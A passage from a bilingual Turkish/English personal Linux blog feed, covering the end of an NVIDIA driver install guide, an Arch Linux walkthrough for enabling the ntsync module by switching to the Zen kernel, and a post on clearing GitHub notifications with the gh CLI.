oyunlar&inodot;n&inodot;n &ccedil;o&gbreve;u hala 32-bit k&uuml;t&uuml;phanelere ihtiya&ccedil; duyar. <code>/etc/pacman.conf</code> dosyas&inodot;n&inodot; a&ccedil;&inodot;n ve <code>[multilib]</code> sat&inodot;r&inodot;n&inodot;n ba&scedil;&inodot;ndaki <code>#</code> i&scedil;aretini kald&inodot;r&inodot;n.</p> <p>Sonra &scedil;u komutla hem sistemi g&uuml;ncelleyin hem de s&uuml;r&uuml;c&uuml;leri kurun:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>nvidia-open-dkms<span class="w"> </span>lib32-nvidia-utils </code></pre></div> <p><em>(Eski kart kullan&inodot;yorsan&inodot;z <code>nvidia-open</code> k&inodot;s&inodot;mlar&inodot;n&inodot; <code>nvidia</code> yap&inodot;n).</em></p> <h3 id="manjaro-ve-endeavouros">Manjaro ve EndeavourOS<a class="headerlink" href="#manjaro-ve-endeavouros" title="Permanent link">#</a></h3> <p>Bu da&gbreve;&inodot;t&inodot;mlar i&scedil;i kolayla&scedil;t&inodot;r&inodot;yor.</p> <ul> <li><strong>Manjaro:</strong> <code>sudo mhwd -a pci nonfree 0300</code> komutuyla otomatik kurulum yapar.</li> <li><strong>EndeavourOS:</strong> <code>nvidia-inst</code> arac&inodot; var. <code>nvidia-inst --32</code> diyerek hem s&uuml;r&uuml;c&uuml;y&uuml; hem 32-bit deste&gbreve;ini kurabilirsiniz.</li> </ul> <h3 id="debian-inatclar-icin-ozel-bolum">Debian (&Idot;nat&ccedil;&inodot;lar &Idot;&ccedil;in &Ouml;zel B&ouml;l&uuml;m)<a class="headerlink" href="#debian-inatclar-icin-ozel-bolum" title="Permanent link">#</a></h3> <p>D&uuml;r&uuml;st olay&inodot;m, oyun i&ccedil;in <strong>Debian Stable</strong> kullanmak, Formula 1 pistine trakt&ouml;rle girmek gibidir. S&uuml;r&uuml;c&uuml;ler &ccedil;ok eski kal&inodot;r. Ama "Ben Debian'dan vazge&ccedil;mem, kararl&inodot;l&inodot;k benim g&ouml;bek ad&inodot;m" diyorsan&inodot;z, sayg&inodot; duyar&inodot;m.</p> <p>S&inodot;rf sizin i&ccedil;in, sab&inodot;rs&inodot;z Debian sava&scedil;&ccedil;&inodot;lar&inodot;na &ouml;zel "H&inodot;zl&inodot; Kurulum Re&ccedil;etesi"ni &scedil;uraya b&inodot;rak&inodot;yorum. Bu komutlar <code>non-free</code> depolar&inodot; a&ccedil;ar, 32-bit mimariyi ekler ve Steam ile Nvidia s&uuml;r&uuml;c&uuml;s&uuml;n&uuml; kurar.</p> <p>Terminale <code>su -</code> yaz&inodot;p root olduktan sonra s&inodot;ras&inodot;yla:</p> <div class="highlight"><pre><span></span><code><span class="c1"># 32-bit mimariyi ekle</span> dpkg<span class="w"> </span>--add-architecture<span class="w"> </span>i386 <span class="c1"># Sources listesini d&uuml;zenle (Manuel yapman gerekebilir)</span> <span class="c1"># /etc/apt/sources.list dosyas&inodot;ndaki her sat&inodot;r&inodot;n sonuna</span> <span class="c1"># "non-free contrib" ekle. (&Ouml;rn: main non-free contrib)</span> <span class="c1"># Ve final vuru&scedil;u:</span> apt<span class="w"> </span>update apt<span class="w"> </span>install<span class="w"> </span>steam<span class="w"> </span>nvidia-driver reboot </code></pre></div> <p>Bunu yapt&inodot;ktan sonra sistem yeniden ba&scedil;lar ve teorik olarak oyun oynamaya haz&inodot;rs&inodot;n&inodot;zd&inodot;r. &Idot;yi &scedil;anslar (ihtiyac&inodot;n&inodot;z olacak)!</p> <hr/> <p>Yani durum bu. Linux'ta s&uuml;r&uuml;c&uuml; i&scedil;i ilk ba&scedil;ta korkutucu g&ouml;r&uuml;nse de, bir kez mant&inodot;&gbreve;&inodot;n&inodot; kavray&inodot;nca "Ne gerek varm&inodot;&scedil; Windows'ta site site gezmeye" diyorsunuz. Neyse, ben ka&ccedil;t&inodot;m, g&uuml;ncellemem gereken bir Arch sistemi beni bekliyor (Umar&inodot;m patlamaz 😅).</p> <ul> <li><a href="/arch-linux-nvidia-ekran-karti-kurulumu/">Arch Linux NVIDIA Ekran Kart&inodot; Kurulumu</a></li> <li><a href="/arch-linux-linux-firmware-nvidia-hatasi-cozumu/">Arch Linux Linux Firmware NVIDIA Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/">Arch Linux NTSync Aktif Etme Zen Kernel Rehberi</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>RADV s&uuml;r&uuml;c&uuml;s&uuml;, Valve m&uuml;hendisleri taraf&inodot;ndan Steam Deck ve Linux oyunculu&gbreve;u i&ccedil;in s&uuml;rekli optimize ediliyor. AMDVLK ise daha kurumsal odakl&inodot; kalabiliyor.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T09:45:00+03:002025-11-30T09:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/

<p>I installed ntsync-supported Wine and Proton to boost gaming performance, but I forgot one thing: the Kernel! Here is the ntsync error and its solution.</p>

<p>It all started with an innocent passion for performance. You know those "micro-stuttering" hiccups while gaming on Linux&mdash;they can drive a person crazy. So I said, "Let me try this famous <code>ntsync</code> thing; it handles Windows NT synchronization at the kernel level, FPS will soar."</p> <p>I immediately dived into the AUR and pulled these two "elite" packages into my system:</p> <ol> <li><a href="https://aur.archlinux.org/packages/wine-tkg-staging-ntsync-bin" rel="noopener noreferrer" target="_blank"><strong>wine-tkg-staging-ntsync-bin</strong></a></li> <li><a href="https://aur.archlinux.org/packages/proton-xiv-bin" rel="noopener noreferrer" target="_blank"><strong>proton-xiv-bin</strong></a></li> </ol> <p>The packages were downloaded and installed. Thinking, "That's it, we're flying now," I restarted the system. But there was a small(!) detail I had forgotten, or rather, skipped.</p> <p>When I decided to check the logs, I saw the system complaining to me...</p> <h2 id="the-error-i-dont-recognize-this-module">The Error: "I Don't Recognize This Module!"<a class="headerlink" href="#the-error-i-dont-recognize-this-module" title="Permanent link">#</a></h2> <p>I took a look at the boot logs (<code>journalctl -b -p err</code>), and the system was shouting:</p> <div class="highlight"><pre><span></span><code>Nov<span class="w"> </span><span class="m">28</span><span class="w"> </span><span class="m">01</span>:41:10<span class="w"> </span>baba<span class="w"> </span>systemd-modules-load<span class="o">[</span><span class="m">445</span><span class="o">]</span>:<span class="w"> </span>Failed<span class="w"> </span>to<span class="w"> </span>find<span class="w"> </span>module<span class="w"> </span><span class="s1">'ntsync'</span> </code></pre></div> <p>It's safe to say I was caught off guard. I had installed the software (Wine/Proton), but it turns out I hadn't prepared the ground beneath it. I checked the kernel version I was using:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>uname<span class="w"> </span>-r <span class="m">6</span>.6.63-1-lts </code></pre></div> <p>The problem was as clear as day. I was using the LTS (Long Term Support) kernel, but experimental and new features like <code>ntsync</code> weren't available in version 6.6. In other words, I was trying to put a Ferrari engine into a sedan chassis. This feature comes by default in Kernel 6.14 and later, especially in customized kernels like the <strong>Zen Kernel</strong>.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <p>Anyway, we understood the mistake. The solution is simple: Change the kernel!</p> <h2 id="step-1-installing-the-zen-kernel">Step 1: Installing the Zen Kernel<a class="headerlink" href="#step-1-installing-the-zen-kernel" title="Permanent link">#</a></h2> <p>Don't let changing the kernel on Arch Linux intimidate you; it's actually no different from installing any other package. I immediately opened the terminal and downloaded <code>linux-zen</code> and its headers.</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>linux-zen<span class="w"> </span>linux-zen-headers </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Don't Forget the Headers Package ⚡ If you're using Nvidia or have other modules compiled with dkms (VirtualBox, etc.), your graphics card might not work when the system boots if you don't install the <code>linux-zen-headers</code> package. Be careful.</p> </div> <ul> <li><a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/">Arch Linux NVIDIA Graphics Card Installation</a></li> <li><a href="/en/arch-linux-linux-firmware-nvidia-hatasi-cozumu/">Arch Linux Linux Firmware NVIDIA Error Solution</a></li> <li><a href="/en/linux-gpu-driver-rehberi/">Linux and SteamOS Graphics Driver Installation and Update Guide</a></li> </ul> <h2 id="step-2-bootloader-configuration-systemd-boot">Step 2: Bootloader Configuration (Systemd-boot)<a class="headerlink" href="#step-2-bootloader-configuration-systemd-boot" title="Permanent link">#</a></h2> <p>Installing the package isn't enough; we need to warn the system: "Listen, buddy, you're going to boot with this new kernel now." I use <code>systemd-boot</code>, and here's how I configured the settings.</p> <p>First, I copied my current configuration (just in case, backups are life):</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>cp<span class="w"> </span>/boot/loader/entries/arch.conf<span class="w"> </span>/boot/loader/entries/arch-zen.conf </code></pre></div> <p>Then I opened the new file (<code>arch-zen.conf</code>) and replaced the <code>-lts</code> strings with <code>-zen</code>:</p> <div class="highlight"><pre><span></span><code>title Arch Linux Zen linux /vmlinuz-linux-zen initrd /initramfs-linux-zen.img options root=PARTUUID=xxxx-xxxx-xxxx-xxxx rw quiet </code></pre></div> <h2 id="step-3-enabling-the-module-permanently">Step 3: Enabling the Module Permanently<a class="headerlink" href="#step-3-enabling-the-module-permanently" title="Permanent link">#</a></h2> <p>We installed the kernel and did the configuration, but let's not leave it to chance. We must create a small configuration file so that this module is loaded automatically at every boot. Otherwise, we'd have to deal with <code>modprobe</code> every time.</p> <p>To do this, we go under <code>/etc/modules-load.d/</code>:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/modules-load.d/ntsync.conf </code></pre></div> <p>Just write the name of the module in the file and save it:</p> <div class="highlight"><pre><span></span><code>ntsync </code></pre></div> <p>After this process, we restart the system for the changes to take effect:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>reboot </code></pre></div> <h2 id="the-grand-finale-is-ntsync-active">The Grand Finale: Is ntsync Active?<a class="headerlink" href="#the-grand-finale-is-ntsync-active" title="Permanent link">#</a></h2> <p>The computer booted up, and I immediately ran to the terminal. First, I confirmed the kernel version: <code>6.17.9-zen1-1-zen</code>. Great.</p> <p>But what about the <code>ntsync</code> module that those Wine and Proton packages I installed needed?</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>modinfo<span class="w"> </span>ntsync </code></pre></div> <p>The output was exactly what I wanted:</p> <div class="highlight"><pre><span></span><code>filename:<span class="w"> </span>/lib/modules/6.17.9-zen1-1-zen/kernel/drivers/misc/ntsync.ko.zst license:<span class="w"> </span>GPL description:<span class="w"> </span>Kernel<span class="w"> </span>driver<span class="w"> </span><span class="k">for</span><span class="w"> </span>NT<span class="w"> </span>synchronization<span class="w"> </span>primitives ... </code></pre></div> <p>The module was now loaded, and the error messages were a thing of the past. This meant those <code>wine-tkg</code> and <code>proton-xiv</code> packages I installed could finally do their job.</p> <p>In short, if you, like me, install special Wine versions to "increase performance in games" and then pull your hair out wondering "Why isn't this working?", take a look at your kernel version. Sometimes the solution lies simply in switching to a more "Zen" kernel. 😎</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>LTS kernels contain older technologies for stability. For gaming and new hardware features, the Mainline or Zen kernel is usually preferred.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T09:45:00+03:002025-11-30T09:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/

<p>Oyun performansını artırmak için ntsync destekli Wine ve Proton kurdum ama unuttuğum bir şey vardı: Kernel! İşte ntsync hatası ve çözümü.</p>

<p>Her &scedil;ey masum bir performans sevdas&inodot;yla ba&scedil;lad&inodot;. Linux'ta oyun oynarken o "micro-stuttering" denilen tak&inodot;lmalar&inodot; bilirsiniz, adam&inodot; deli eder. Ben de "&Scedil;u me&scedil;hur <code>ntsync</code> olay&inodot;n&inodot; bir deneyeyim, Windows NT senkronizasyonunu kernel seviyesinde yap&inodot;yormu&scedil;, FPS u&ccedil;ar gider" dedim.</p> <p>Hemen AUR'a dald&inodot;m ve i&scedil;in "kaymak" tabakas&inodot; olan &scedil;u iki paketi sisteme &ccedil;ektim:</p> <ol> <li><a href="https://aur.archlinux.org/packages/wine-tkg-staging-ntsync-bin" rel="noopener noreferrer" target="_blank"><strong>wine-tkg-staging-ntsync-bin</strong></a></li> <li><a href="https://aur.archlinux.org/packages/proton-xiv-bin" rel="noopener noreferrer" target="_blank"><strong>proton-xiv-bin</strong></a></li> </ol> <p>Paketler indi, kuruldu. "Tamamd&inodot;r bu i&scedil;, art&inodot;k u&ccedil;uyoruz" diyerek sistemi yeniden ba&scedil;latt&inodot;m. Ama unuttu&gbreve;um, daha do&gbreve;rusu atlad&inodot;&gbreve;&inodot;m ufak(!) bir detay varm&inodot;&scedil;.</p> <p>Loglar&inodot; kontrol edeyim dedi&gbreve;imde sistemin bana sitem etti&gbreve;ini g&ouml;rd&uuml;m...</p> <h2 id="hata-ben-bu-modulu-tanmyorum">Hata: "Ben Bu Mod&uuml;l&uuml; Tan&inodot;m&inodot;yorum!"<a class="headerlink" href="#hata-ben-bu-modulu-tanmyorum" title="Permanent link">#</a></h2> <p>A&ccedil;&inodot;l&inodot;&scedil; loglar&inodot;na (<code>journalctl -b -p err</code>) bir bakt&inodot;m, sistem bas bas ba&gbreve;&inodot;r&inodot;yor:</p> <div class="highlight"><pre><span></span><code>Kas<span class="w"> </span><span class="m">28</span><span class="w"> </span><span class="m">01</span>:41:10<span class="w"> </span>baba<span class="w"> </span>systemd-modules-load<span class="o">[</span><span class="m">445</span><span class="o">]</span>:<span class="w"> </span>Failed<span class="w"> </span>to<span class="w"> </span>find<span class="w"> </span>module<span class="w"> </span><span class="s1">'ntsync'</span> </code></pre></div> <p>Kafamdan a&scedil;a&gbreve;&inodot; kaynar sular d&ouml;k&uuml;ld&uuml; desem yeridir. Ben yaz&inodot;l&inodot;m&inodot; (Wine/Proton) kurdum ama me&gbreve;ersem alt&inodot;ndaki zemini haz&inodot;rlamam&inodot;&scedil;&inodot;m. Kulland&inodot;&gbreve;&inodot;m kernel s&uuml;r&uuml;m&uuml;ne bakt&inodot;m:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>uname<span class="w"> </span>-r <span class="m">6</span>.6.63-1-lts </code></pre></div> <p>Sorun kabak gibi ortadayd&inodot;. Ben LTS (Uzun D&ouml;nem Destek) kernel kullan&inodot;yordum ama <code>ntsync</code> gibi deneysel ve yeni &ouml;zellikler 6.6 s&uuml;r&uuml;m&uuml;nde yoktu. Yani Ferrari motorunu &Scedil;ahin kasas&inodot;na takmaya &ccedil;al&inodot;&scedil;m&inodot;&scedil;&inodot;m. Bu &ouml;zellik Kernel 6.14 ve sonras&inodot;nda, &ouml;zellikle de <strong>Zen Kernel</strong> gibi &ouml;zelle&scedil;tirilmi&scedil; &ccedil;ekirdeklerde varsay&inodot;lan olarak geliyordu.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <p>Neyse, hatay&inodot; anlad&inodot;k. &Ccedil;&ouml;z&uuml;m basit: Kernel de&gbreve;i&scedil;ecek!</p> <h2 id="adm-1-zen-kernel-kurulumu">Ad&inodot;m 1: Zen Kernel Kurulumu<a class="headerlink" href="#adm-1-zen-kernel-kurulumu" title="Permanent link">#</a></h2> <p>Arch Linux'ta kernel de&gbreve;i&scedil;tirmek g&ouml;z&uuml;n&uuml;z&uuml; korkutmas&inodot;n, asl&inodot;nda bir paket y&uuml;klemekten farks&inodot;z. Hemen terminali a&ccedil;&inodot;p <code>linux-zen</code> ve ba&scedil;l&inodot;k dosyalar&inodot;n&inodot; (headers) indirdim.</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>linux-zen<span class="w"> </span>linux-zen-headers </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Headers Paketini Unutma ⚡ E&gbreve;er Nvidia kullan&inodot;yorsan veya dkms ile derlenen ba&scedil;ka mod&uuml;llerin varsa (VirtualBox vs.), <code>linux-zen-headers</code> paketini kurmazsan sistem a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda ekran kart&inodot;n &ccedil;al&inodot;&scedil;mayabilir. Aman dikkat.</p> </div> <ul> <li><a href="/arch-linux-nvidia-ekran-karti-kurulumu/">Arch Linux NVIDIA Ekran Kart&inodot; Kurulumu</a></li> <li><a href="/arch-linux-linux-firmware-nvidia-hatasi-cozumu/">Arch Linux Linux Firmware NVIDIA Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/linux-gpu-driver-rehberi/">Linux ve Steamos Grafik Surucusu Y&uuml;klemesi ve G&uuml;ncelleme Rehberi</a></li> </ul> <h2 id="adm-2-bootloader-ayar-systemd-boot">Ad&inodot;m 2: Bootloader Ayar&inodot; (Systemd-boot)<a class="headerlink" href="#adm-2-bootloader-ayar-systemd-boot" title="Permanent link">#</a></h2> <p>Paketi kurmak yetmiyor, sistemi "Bak karde&scedil;im, art&inodot;k bu yeni kernel ile a&ccedil;&inodot;lacaks&inodot;n" diye uyarmam&inodot;z laz&inodot;m. Ben <code>systemd-boot</code> kullan&inodot;yorum, ayarlar&inodot; da &scedil;&ouml;yle yapt&inodot;m.</p> <p>&Ouml;nce mevcut ayar&inodot;m&inodot; kopyalad&inodot;m (ne olur ne olmaz, yedek cand&inodot;r):</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>cp<span class="w"> </span>/boot/loader/entries/arch.conf<span class="w"> </span>/boot/loader/entries/arch-zen.conf </code></pre></div> <p>Sonra yeni dosyay&inodot; (<code>arch-zen.conf</code>) a&ccedil;&inodot;p i&ccedil;indeki <code>-lts</code> ibarelerini <code>-zen</code> ile de&gbreve;i&scedil;tirdim:</p> <div class="highlight"><pre><span></span><code>title Arch Linux Zen linux /vmlinuz-linux-zen initrd /initramfs-linux-zen.img options root=PARTUUID=xxxx-xxxx-xxxx-xxxx rw quiet </code></pre></div> <h2 id="adm-3-modulu-kalc-olarak-aktif-etme">Ad&inodot;m 3: Mod&uuml;l&uuml; Kal&inodot;c&inodot; Olarak Aktif Etme<a class="headerlink" href="#adm-3-modulu-kalc-olarak-aktif-etme" title="Permanent link">#</a></h2> <p>Kerneli kurup yap&inodot;land&inodot;rmay&inodot; yapt&inodot;k ama i&scedil;i &scedil;ansa b&inodot;rakmayal&inodot;m. Bu mod&uuml;l&uuml;n her a&ccedil;&inodot;l&inodot;&scedil;ta otomatik y&uuml;klenmesi i&ccedil;in ufak bir ayar dosyas&inodot; olu&scedil;turmam&inodot;z &scedil;art. Yoksa her seferinde <code>modprobe</code> ile u&gbreve;ra&scedil;&inodot;r&inodot;z.</p> <p>Bunun i&ccedil;in <code>/etc/modules-load.d/</code> alt&inodot;na gidiyoruz:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/modules-load.d/ntsync.conf </code></pre></div> <p>Dosyan&inodot;n i&ccedil;ine sadece mod&uuml;l&uuml;n ad&inodot;n&inodot; yaz&inodot;p kaydediyoruz:</p> <div class="highlight"><pre><span></span><code>ntsync </code></pre></div> <p>Bu i&scedil;lemden sonra de&gbreve;i&scedil;ikliklerin ge&ccedil;erli olmas&inodot; i&ccedil;in sistemi yeniden ba&scedil;lat&inodot;yoruz:</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>sudo<span class="w"> </span>reboot </code></pre></div> <h2 id="buyuk-final-ntsync-aktif-mi">B&uuml;y&uuml;k Final: ntsync Aktif mi?<a class="headerlink" href="#buyuk-final-ntsync-aktif-mi" title="Permanent link">#</a></h2> <p>Bilgisayar a&ccedil;&inodot;ld&inodot;, hemen terminale ko&scedil;tum. &Ouml;nce kernel s&uuml;r&uuml;m&uuml;n&uuml; teyit ettim: <code>6.17.9-zen1-1-zen</code>. Harika.</p> <p>Peki ya o kurdu&gbreve;um Wine ve Proton paketlerinin ihtiya&ccedil; duydu&gbreve;u <code>ntsync</code> mod&uuml;l&uuml;?</p> <div class="highlight"><pre><span></span><code>&lambda;<span class="w"> </span>friday13<span class="w"> </span><span class="o">[</span>~<span class="o">]</span><span class="w"> </span>&rarr;<span class="w"> </span>modinfo<span class="w"> </span>ntsync </code></pre></div> <p>&Ccedil;&inodot;kt&inodot; tam istedi&gbreve;im gibiydi:</p> <div class="highlight"><pre><span></span><code>filename:<span class="w"> </span>/lib/modules/6.17.9-zen1-1-zen/kernel/drivers/misc/ntsync.ko.zst license:<span class="w"> </span>GPL description:<span class="w"> </span>Kernel<span class="w"> </span>driver<span class="w"> </span><span class="k">for</span><span class="w"> </span>NT<span class="w"> </span>synchronization<span class="w"> </span>primitives ... </code></pre></div> <p>Art&inodot;k mod&uuml;l y&uuml;kl&uuml;yd&uuml; ve hata mesajlar&inodot; tarihe kar&inodot;&scedil;m&inodot;&scedil;t&inodot;. Yani kurdu&gbreve;um o <code>wine-tkg</code> ve <code>proton-xiv</code> paketleri art&inodot;k ger&ccedil;ekten i&scedil;ini yapabilirdi.</p> <p>K&inodot;sacas&inodot;, e&gbreve;er siz de benim gibi "Oyunlarda performans arts&inodot;n" diye &ouml;zel Wine s&uuml;r&uuml;mleri kurup sonra "Neden &ccedil;al&inodot;&scedil;m&inodot;yor bu?" diye sa&ccedil;&inodot;n&inodot;z&inodot; ba&scedil;&inodot;n&inodot;z&inodot; yoluyorsan&inodot;z, kernel s&uuml;r&uuml;m&uuml;n&uuml;ze bir bak&inodot;n derim. Bazen &ccedil;&ouml;z&uuml;m, sadece daha "Zen" bir kernele ge&ccedil;mekte yat&inodot;yor. 😎</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>LTS kernel, kararl&inodot;l&inodot;k i&ccedil;in eski teknolojileri bar&inodot;nd&inodot;r&inodot;r. Oyun ve yeni donan&inodot;m &ouml;zellikleri i&ccedil;in genellikle Mainline veya Zen kernel tercih edilir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-21T16:30:00+03:002025-11-21T16:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-21:/en/github-bildirim-spam-gh-ile-kurtulmak/

<p>Are those endless spam notifications on GitHub annoying you? Let's see how we can mark them 'read' and get rid of them with the command-line tool called 'gh'.</p>

<p>Another one of those mornings... You wake up, grab your coffee, thinking you're ready for the day. Then you see a bright red notification dot on GitHub. You click it. And yes, 30 new notifications. A quick glance tells you only one of them is perhaps important, the other 29 are "mentions" from irrelevant projects you no longer care about. A total headache. 🤯</p> <p>Of course, you could go to the web interface and mark these notifications as "Done" one by one. But who has that much time? And finding the right notification in that interface can sometimes feel like looking for a needle in a haystack. In short, there must be a better way.</p> <p>The interesting thing is, there is.</p> <h2 id="not-git-but-gh-whats-this-all-about">Not <code>git</code>, but <code>gh</code>! What's this all about?<a class="headerlink" href="#not-git-but-gh-whats-this-all-about" title="Permanent link">#</a></h2> <p>Now, let's not get confused here. Everyone's familiar <code>git</code> commands (<code>push</code>, <code>pull</code>, <code>commit</code>, etc.) are one thing. That's the core of version control itself. But then there's <code>gh</code>, GitHub's own command-line interface (CLI) tool.</p> <p>This <code>gh</code> thing talks directly to GitHub's features. Opening Pull Requests, listing Issues... and yes, managing notifications. I remember thinking, "What's the point?" when I first heard about it, but it's a real lifesaver in some situations.</p> <div class="admonition note"> <p class="admonition-title">A Small Misconception As we just mentioned, some people mistake this 'gh' thing for a 'graphical interface.' But that's not the case at all. It's a tool that works entirely from the terminal. So you can continue your command-line heroics! ⌨️</p> </div> <p>If it's not installed on your system, you'll get an error like "command not found" when you try to run <code>gh</code>. Installation is simple. If you're on something like Arch Linux, you can do it with <code>sudo pacman -S github-cli</code>; if you're on macOS, <code>brew install gh</code>. For other systems, they've explained it clearly on their <a href="https://cli.github.com/" rel="noopener noreferrer" target="_blank">official website</a>.</p> <div class="admonition tip"> <p class="admonition-title">Remember! Before using the <code>gh</code> tool, you need to log into your account once in the terminal using <code>gh auth login</code>. Otherwise, don't come crying, Git doesn't know me!</p> </div> <h2 id="lets-clean-up-that-spam-step-by-step-gh-usage">Let's Clean Up That Spam: Step-by-Step <code>gh</code> Usage<a class="headerlink" href="#lets-clean-up-that-spam-step-by-step-gh-usage" title="Permanent link">#</a></h2> <p>Anyway, enough chitchat, let's get down to business. Our goal is clear: to get rid of that unwanted, spammy notification. It's only two steps away.</p> <h3 id="step-1-lets-dump-all-notifications-out">Step 1: Let's Dump All Notifications Out<a class="headerlink" href="#step-1-lets-dump-all-notifications-out" title="Permanent link">#</a></h3> <p>The first thing we'll do is list all unread notifications. Our command for this is:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>notifications </code></pre></div> <p>You run this command... and you'll get a strange, jumbled, JSON-formatted block of text. Don't be scared. Don't let it intimidate you. The only thing we need from there is the ID number of the notification we want to get rid of, its <code>id</code>.</p> <p>The output will look something like this:</p> <div class="highlight"><pre><span></span><code><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19105015689"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"repository"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"full_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notifier-mail/gitcoin.com"</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"subject"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"The title of the notification would be here somewhere"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"..."</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mention"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"unread"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://api.github.com/notifications/threads/19105015689"</span> <span class="w"> </span><span class="p">}</span> <span class="p">]</span> </code></pre></div> <p>Generally, the long number at the very end of the <code>url</code> field is the <code>id</code> we're looking for. I think... I've always found it there, at least. Just make sure you find the correct notification from the title. Copy that ID somewhere. You'll need it in the next step.</p> <h3 id="step-2-read-and-get-rid-of-it-the-delete-command">Step 2: Read and Get Rid of It! The DELETE Command<a class="headerlink" href="#step-2-read-and-get-rid-of-it-the-delete-command" title="Permanent link">#</a></h3> <p>Got the ID? Alright. Now it's time to mark that notification as "read" and make it disappear.</p> <div class="admonition warning"> <p class="admonition-title">Caution! ☢️ Make sure you copied the correct ID. If you accidentally delete an important notification, you won't know about it, and it'll get lost in the shuffle. Check twice, even thrice! I warned you.</p> </div> <p>Our command is as follows:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span>notifications/threads/ID_GOES_HERE </code></pre></div> <p>You'll replace <code>ID_GOES_HERE</code> with that long number you just copied. For example, for the ID in our example, the command would be:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span>notifications/threads/19105015689 </code></pre></div> <p>When you run this command, it will appear as if nothing happened. It usually doesn't give any output. But in the background, that notification has now been marked as "read." When you go to GitHub, you'll see that the red dot is gone. Or at least the number has decreased. A big victory! 😎</p> <p>The API world is also a bit strange. Using the <code>DELETE</code> verb (Delete) to "mark as read"... That sounds too formal, let me rephrase: They probably thought, instead of creating a separate command for "mark as read," they'd just say "let it be deleted from the list" using <code>DELETE</code>. 